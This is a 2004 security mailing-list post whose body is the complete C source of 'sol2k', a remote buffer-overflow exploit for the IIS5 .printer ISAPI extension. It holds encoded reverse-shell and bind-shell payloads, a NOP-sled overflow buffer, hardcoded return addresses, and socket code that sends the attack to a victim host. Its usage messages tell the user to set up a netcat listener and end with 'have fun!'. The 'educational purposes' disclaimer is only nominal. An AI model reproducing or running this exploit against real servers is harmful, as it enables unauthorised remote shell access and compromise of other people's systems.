[VulnDiscuss] Random Intruders' sol2k .printer ISAPI Extension B uffer Overflow Exploit
[email protected] Fri, 21 May 2004 11:37:37 +0200
| Newsgroups | gmane.comp.security.vulnerabilities.watch.general |
|---|---|
| Message-ID | <[email protected]> |
/*
The vulnerability is old, the exploit isn't new either.
This is just our version of famous jill which we called
sol2k. We added few options(it is now compilable
on windows, you can choose return address and shellcode).
This exploit is only published fo educational purposes.
This code is a tribute to my dear sol.;)
*/
//---------------------------sol2k.c--------------------------------
#ifdef _WIN32
#include <Winsock2.h>
#include <Windows.h>
#include <stdlib.h>
#include <string.h>
#define snprintf _snprintf
#else
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#endif
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
unsigned long *ret[20];
unsigned char send_buf[2000];
unsigned char request[]=
"\x47\x45\x54\x20\x2f\x4e\x55\x4c\x4c\x2e\x70\x72\x69\x6e\x74\x65\x72\x20"
"\x48\x54\x54\x50\x2f\x31\x2e\x30\x0d\x0a";
unsigned char revers_shell[]=
"\x42\x65\x61\x76\x75\x68\x3a\x20\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90\x90"
"\x8b\xc5\x33\xc9\x66\xb9\xd7\x02\x50\x80\x30\x95\x40\xe2\xfa\x2d\x95\x95"
"\x64\xe2\x14\xad\xd8\xcf\x05\x95\xe1\x96\xdd\x7e\x60\x7d\x95\x95\x95\x95"
"\xc8\x1e\x40\x14\x7f\x9a\x6b\x6a\x6a\x1e\x4d\x1e\xe6\xa9\x96\x66\x1e\xe3"
"\xed\x96\x66\x1e\xeb\xb5\x96\x6e\x1e\xdb\x81\xa6\x78\xc3\xc2\xc4\x1e\xaa"
"\x96\x6e\x1e\x67\x2c\x9b\x95\x95\x95\x66\x33\xe1\x9d\xcc\xca\x16\x52\x91"
"\xd0\x77\x72\xcc\xca\xcb\x1e\x58\x1e\xd3\xb1\x96\x56\x44\x74\x96\x54\xa6"
"\x5c\xf3\x1e\x9d\x1e\xd3\x89\x96\x56\x54\x74\x97\x96\x54\x1e\x95\x96\x56"
"\x1e\x67\x1e\x6b\x1e\x45\x2c\x9e\x95\x95\x95\x7d\xe1\x94\x95\x95\xa6\x55"
"\x39\x10\x55\xe0\x6c\xc7\xc3\x6a\xc2\x41\xcf\x1e\x4d\x2c\x93\x95\x95\x95"
"\x7d\xce\x94\x95\x95\x52\xd2\xf1\x99\x95\x95\x95\x52\xd2\xfd\x95\x95\x95"
"\x95\x52\xd2\xf9\x94\x95\x95\x95\xff\x95\x18\xd2\xf1\xc5\x18\xd2\x85\xc5"
"\x18\xd2\x81\xc5\x6a\xc2\x55\xff\x95\x18\xd2\xf1\xc5\x18\xd2\x8d\xc5\x18"
"\xd2\x89\xc5\x6a\xc2\x55\x52\xd2\xb5\xd1\x95\x95\x95\x18\xd2\xb5\xc5\x6a"
"\xc2\x51\x1e\xd2\x85\x1c\xd2\xc9\x1c\xd2\xf5\x1e\xd2\x89\x1c\xd2\xcd\x14"
"\xda\xd9\x94\x94\x95\x95\xf3\x52\xd2\xc5\x95\x95\x18\xd2\xe5\xc5\x18\xd2"
"\xb5\xc5\xa6\x55\xc5\xc5\xc5\xff\x94\xc5\xc5\x7d\x95\x95\x95\x95\xc8\x14"
"\x78\xd5\x6b\x6a\x6a\xc0\xc5\x6a\xc2\x5d\x6a\xe2\x85\x6a\xc2\x71\x6a\xe2"
"\x89\x6a\xc2\x71\xfd\x95\x91\x95\x95\xff\xd5\x6a\xc2\x45\x1e\x7d\xc5\xfd"
"\x94\x94\x95\x95\x6a\xc2\x7d\x10\x55\x9a\x10\x3f\x95\x95\x95\xa6\x55\xc5"
"\xd5\xc5\xd5\xc5\x6a\xc2\x79\x16\x6d\x6a\x9a\x11\x02\x95\x95\x95\x1e\x4d"
"\xf3\x52\x92\x97\x95\xf3\x52\xd2\x97\x8e\xac\x52\xd2\x91\x5e\x38\x4c\xb3"
"\xff\x85\x18\x92\xc5\xc6\x6a\xc2\x61\xff\xa7\x6a\xc2\x49\xa6\x5c\xc4\xc3"
"\xc4\xc4\xc4\x6a\xe2\x81\x6a\xc2\x59\x10\x55\xe1\xf5\x05\x05\x05\x05\x15"
"\xab\x95\xe1\xba\x05\x05\x05\x05\xff\x95\xc3\xfd\x95\x91\x95\x95\xc0\x6a"
"\xe2\x81\x6a\xc2\x4d\x10\x55\xe1\xd5\x05\x05\x05\x05\xff\x95\x6a\xa3\xc0"
"\xc6\x6a\xc2\x6d\x16\x6d\x6a\xe1\xbb\x05\x05\x05\x05\x7e\x27\xff\x95\xfd"
"\x95\x91\x95\x95\xc0\xc6\x6a\xc2\x69\x10\x55\xe9\x8d\x05\x05\x05\x05\xe1"
"\x09\xff\x95\xc3\xc5\xc0\x6a\xe2\x8d\x6a\xc2\x41\xff\xa7\x6a\xc2\x49\x7e"
"\x1f\xc6\x6a\xc2\x65\xff\x95\x6a\xc2\x75\xa6\x55\x39\x10\x55\xe0\x6c\xc4"
"\xc7\xc3\xc6\x6a\x47\xcf\xcc\x3e\x77\x7b\x56\xd2\xf0\xe1\xc5\xe7\xfa\xf6"
"\xd4\xf1\xf1\xe7\xf0\xe6\xe6\x95\xd9\xfa\xf4\xf1\xd9\xfc\xf7\xe7\xf4\xe7"
"\xec\xd4\x95\xd6\xe7\xf0\xf4\xe1\xf0\xc5\xfc\xe5\xf0\x95\xd2\xf0\xe1\xc6"
"\xe1\xf4\xe7\xe1\xe0\xe5\xdc\xfb\xf3\xfa\xd4\x95\xd6\xe7\xf0\xf4\xe1\xf0"
"\xc5\xe7\xfa\xf6\xf0\xe6\xe6\xd4\x95\xc5\xf0\xf0\xfe\xdb\xf4\xf8\xf0\xf1"
"\xc5\xfc\xe5\xf0\x95\xd2\xf9\xfa\xf7\xf4\xf9\xd4\xf9\xf9\xfa\xf6\x95\xc2"
"\xe7\xfc\xe1\xf0\xd3\xfc\xf9\xf0\x95\xc7\xf0\xf4\xf1\xd3\xfc\xf9\xf0\x95"
"\xc6\xf9\xf0\xf0\xe5\x95\xd0\xed\xfc\xe1\xc5\xe7\xfa\xf6\xf0\xe6\xe6\x95"
"\xd6\xf9\xfa\xe6\xf0\xdd\xf4\xfb\xf1\xf9\xf0\x95\xc2\xc6\xda\xd6\xde\xa6"
"\xa7\x95\xc2\xc6\xd4\xc6\xe1\xf4\xe7\xe1\xe0\xe5\x95\xe6\xfa\xf6\xfe\xf0"
"\xe1\x95\xf6\xf9\xfa\xe6\xf0\xe6\xfa\xf6\xfe\xf0\xe1\x95\xf6\xfa\xfb\xfb"
"\xf0\xf6\xe1\x95\xe6\xf0\xfb\xf1\x95\xe7\xf0\xf6\xe3\x95\xf6\xf8\xf1\xbb"
"\xf0\xed\xf0\x95\x0d\x0a";
//FlashSky/Benjurry and, H D Moore's code
unsigned char shell[]=
"\x42\x65\x61\x76\x75\x68\x3a\x20\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\xeb\x19\x5e\x31\xc9\x81\xe9\x89\xff"
"\xff\xff\x81\x36\x80\xbf\x32\x94\x81\xee\xfc\xff\xff\xff\xe2\xf2"
"\xeb\x05\xe8\xe2\xff\xff\xff\x03\x53\x06\x1f\x74\x57\x75\x95\x80"
"\xbf\xbb\x92\x7f\x89\x5a\x1a\xce\xb1\xde\x7c\xe1\xbe\x32\x94\x09"
"\xf9\x3a\x6b\xb6\xd7\x9f\x4d\x85\x71\xda\xc6\x81\xbf\x32\x1d\xc6"
"\xb3\x5a\xf8\xec\xbf\x32\xfc\xb3\x8d\x1c\xf0\xe8\xc8\x41\xa6\xdf"
"\xeb\xcd\xc2\x88\x36\x74\x90\x7f\x89\x5a\xe6\x7e\x0c\x24\x7c\xad"
"\xbe\x32\x94\x09\xf9\x22\x6b\xb6\xd7\x4c\x4c\x62\xcc\xda\x8a\x81"
"\xbf\x32\x1d\xc6\xab\xcd\xe2\x84\xd7\xf9\x79\x7c\x84\xda\x9a\x81"
"\xbf\x32\x1d\xc6\xa7\xcd\xe2\x84\xd7\xeb\x9d\x75\x12\xda\x6a\x80"
"\xbf\x32\x1d\xc6\xa3\xcd\xe2\x84\xd7\x96\x8e\xf0\x78\xda\x7a\x80"
"\xbf\x32\x1d\xc6\x9f\xcd\xe2\x84\xd7\x96\x39\xae\x56\xda\x4a\x80"
"\xbf\x32\x1d\xc6\x9b\xcd\xe2\x84\xd7\xd7\xdd\x06\xf6\xda\x5a\x80"
"\xbf\x32\x1d\xc6\x97\xcd\xe2\x84\xd7\xd5\xed\x46\xc6\xda\x2a\x80"
"\xbf\x32\x1d\xc6\x93\x01\x6b\x01\x53\xa2\x95\x80\xbf\x66\xfc\x81"
"\xbe\x32\x94\x7f\xe9\x2a\xc4\xd0\xef\x62\xd4\xd0\xff\x62\x6b\xd6"
"\xa3\xb9\x4c\xd7\xe8\x5a\x96\x80\xae\x6e\x1f\x4c\xd5\x24\xc5\xd3"
"\x40\x64\xb4\xd7\xec\xcd\xc2\xa4\xe8\x63\xc7\x7f\xe9\x1a\x1f\x50"
"\xd7\x57\xec\xe5\xbf\x5a\xf7\xed\xdb\x1c\x1d\xe6\x8f\xb1\x78\xd4"
"\x32\x0e\xb0\xb3\x7f\x01\x5d\x03\x7e\x27\x3f\x62\x42\xf4\xd0\xa4"
"\xaf\x76\x6a\xc4\x9b\x0f\x1d\xd4\x9b\x7a\x1d\xd4\x9b\x7e\x1d\xd4"
"\x9b\x62\x19\xc4\x9b\x22\xc0\xd0\xee\x63\xc5\xea\xbe\x63\xc5\x7f"
"\xc9\x02\xc5\x7f\xe9\x22\x1f\x4c\xd5\xcd\x6b\xb1\x40\x64\x98\x0b"
"\x77\x65\x6b\xd6\x93\xcd\xc2\x94\xea\x64\xf0\x21\x8f\x32\x94\x80"
"\x3a\xf2\xec\x8c\x34\x72\x98\x0b\xcf\x2e\x39\x0b\xd7\x3a\x7f\x89"
"\x34\x72\xa0\x0b\x17\x8a\x94\x80\xbf\xb9\x51\xde\xe2\xf0\x90\x80"
"\xec\x67\xc2\xd7\x34\x5e\xb0\x98\x34\x77\xa8\x0b\xeb\x37\xec\x83"
"\x6a\xb9\xde\x98\x34\x68\xb4\x83\x62\xd1\xa6\xc9\x34\x06\x1f\x83"
"\x4a\x01\x6b\x7c\x8c\xf2\x38\xba\x7b\x46\x93\x41\x70\x3f\x97\x78"
"\x54\xc0\xaf\xfc\x9b\x26\xe1\x61\x34\x68\xb0\x83\x62\x54\x1f\x8c"
"\xf4\xb9\xce\x9c\xbc\xef\x1f\x84\x34\x31\x51\x6b\xbd\x01\x54\x0b"
"\x6a\x6d\xca\xdd\xe4\xf0\x90\x80\x2f\xa2\x04\x0d\x0a";
unsigned char overflow[]=
"\x48\x6f\x73\x74\x3a\x20\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x33"
"\xc0\xb0\x90\x03\xd8\x8b\x03\x8b\x40\x60\x33\xdb\xb3\x24\x03\xc3\xff\xe0"
"\xeb\xb9\x90\x90\x41\x41\x41\x41\x0d\x0a\x0d\x0a";
unsigned short lportl=666; /* drg */
char lport[4] = "\x00\xFF\xFF\x8b"; /* drg */
int z=0;
int s;
unsigned short int a_port;
unsigned long a_host;
struct hostent *ht;
struct sockaddr_in sin;
#ifdef _WIN32
WORD werd;
WSADATA wsd;
#endif
int main(int argc, char *argv[]){
//call ebx values in msw3prt.dll
ret[0] = 0x6A8C3105;
ret[1] = 0x6A8C317F;
ret[2] = 0x6A8C3267;
ret[3] = 0x6A8C32AD;
ret[4] = 0x6A8C3DB9;
ret[5] = 0x6A8C3DC2;
ret[6] = 0x6A8C3E23;
ret[7] = 0x6A8C4D88;
ret[8] = 0x6A8C4DD1;
ret[9] = 0x6A8C4DFB;
ret[10] = 0x6A8C5383;
ret[11] = 0x6A8C5395;
ret[12] = 0x6A8C565D;
ret[13] = 0x6A8C6437;
ret[14] = 0x6A8C6451;
ret[15] = 0x6A8C66C2;
ret[16] = 0x6A8C66FB;
ret[17] = 0x6A8C6B04;
ret[18] = 0x6A8C6B1D;
ret[19] = 0x6A8C73A4;
ret[20] = 0x6A8C73D8;
ret[21] = 0x6A8C73F4;
ret[22] = 0x6A8C9C55;
ret[23] = 0x6A8C9C86;
ret[24] = 0x6A8CCF13;
ret[25] = 0x6A8CCF4B;
ret[26] = 0x6A8CCF62;
#ifdef _WIN32
werd= MAKEWORD(2,0);
WSAStartup(werd,&wsd);
#endif
printf("iis5 remote .printer overflow.\n"
"dark spyrit <[email protected]> / beavuh labs.\n"
"Updated by sectroyer the member of Random Intruders\n");
if (argc < 3){
printf("usage: %s 0 <vicHost> <vicPort> <atckHost> <atckPort> [<ret 1-26>]\nOr: %s 1 <vicHost> [<shellPort>] [<vicPort>] [<ret 1-26>]\n",argv[0],argv[0]);
exit(1);
}
if (argc >= 3){
if(!atoi(argv[1]) && argc < 6)
{
printf("usage: %s 0 <vicHost> <vicPort> <atckHost> <atckPort> [<ret 1-26>]\nOr: %s 1 <vicHost> [<shellPort>] [<vicPort>] [<ret 1-26>]\n",argv[0],argv[0]);
exit(1);
}
else if(atoi(argv[1])==1 && argc<3)
{
printf("usage: %s 0 <vicHost> <vicPort> <atckHost> <atckPort> [<ret 1-26>]\nOr: %s 1 <vicHost> [<shellPort>] [<vicPort>] [<ret 1-26>]\n",argv[0],argv[0]);
exit(1);
}
}
if(!atoi(argv[1]))
{
if(argc>6 && atoi(argv[6])<27 && atoi(argv[6])>-1)
*(unsigned long *)&overflow[358]=ret[atoi(argv[6])];
else
*(unsigned long *)&overflow[358]=ret[0];
memcpy(&send_buf,&request,strlen(request));
memcpy(&send_buf[strlen(request)],&revers_shell,strlen(revers_shell));
memcpy(&send_buf[strlen(request)+strlen(revers_shell)],&overflow,strlen(overflow));
printf("You need to you need to set up a netcat listener on the host you control.\nEx: nc -l -p %s -vv\n",argv[5]);
if ((ht = gethostbyname(argv[2])) == 0){
printf("%s",argv[2]);
exit(1);
}
sin.sin_port = htons(atoi(argv[3]));
a_port = htons(atoi(argv[5]));
a_port^=0x9595;
sin.sin_family = AF_INET;
sin.sin_addr = *((struct in_addr *)ht->h_addr);
if ((ht = gethostbyname(argv[4])) == 0){
printf("%s",argv[4]);
exit(1);
}
a_host = *((unsigned long *)ht->h_addr);
a_host^=0x95959595;
send_buf[441]= (a_port) & 0xff;
send_buf[442]= (a_port >> 8) & 0xff;
send_buf[446]= (a_host) & 0xff;
send_buf[447]= (a_host >> 8) & 0xff;
send_buf[448]= (a_host >> 16) & 0xff;
send_buf[449]= (a_host >> 24) & 0xff;
}
else if(atoi(argv[1])==1)
{
if(argc>3)
printf("Use Netcat to connect to %s:%s\n", argv[2],argv[3]);
else
printf("Use Netcat to connect to %s:4444\n", argv[2]);
if(argc>5 && atoi(argv[5])<27 && atoi(argv[5])>-1)
*(unsigned long *)&overflow[358]=ret[atoi(argv[5])];
else
*(unsigned long *)&overflow[358]=ret[0];
if(argc>3 && atoi(argv[3])>0)
{
lportl=atoi(argv[3]);
lportl=htons(lportl);
memcpy(&lport[1], &lportl, 2);
*(long*)lport = *(long*)lport ^ 0x9432BF80;
memcpy(&shell[279],&lport,4);
}
memcpy(&send_buf,&request,strlen(request));
memcpy(&send_buf[strlen(request)],&shell,strlen(shell));
memcpy(&send_buf[strlen(request)+strlen(shell)],&overflow,strlen(overflow));
if ((ht = gethostbyname(argv[2])) == 0){
printf("%s",argv[2]);
exit(1);
}
if(argc>4 && atoi(argv[4])>0)
{
sin.sin_port = htons(atoi(argv[4]));
}
else
sin.sin_port = htons(80);
sin.sin_family = AF_INET;
sin.sin_addr = *((struct in_addr *)ht->h_addr);
}
if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1){
perror("socket");
exit(1);
}
printf("\nconnecting... \n");
if ((connect(s, (struct sockaddr *) &sin, sizeof(sin))) == -1){
perror("connect");
exit(1);
}
send(s, send_buf, strlen(send_buf),0);
sleep (1);
#ifdef _WIN32
closesocket(s);
#else
close(s);
#endif
if(!z)
printf("sent... \nyou may need to send a carriage on your listener if the shell doesn't appear.\nhave fun!\n");
else
printf("sent...\n");
exit(0);
}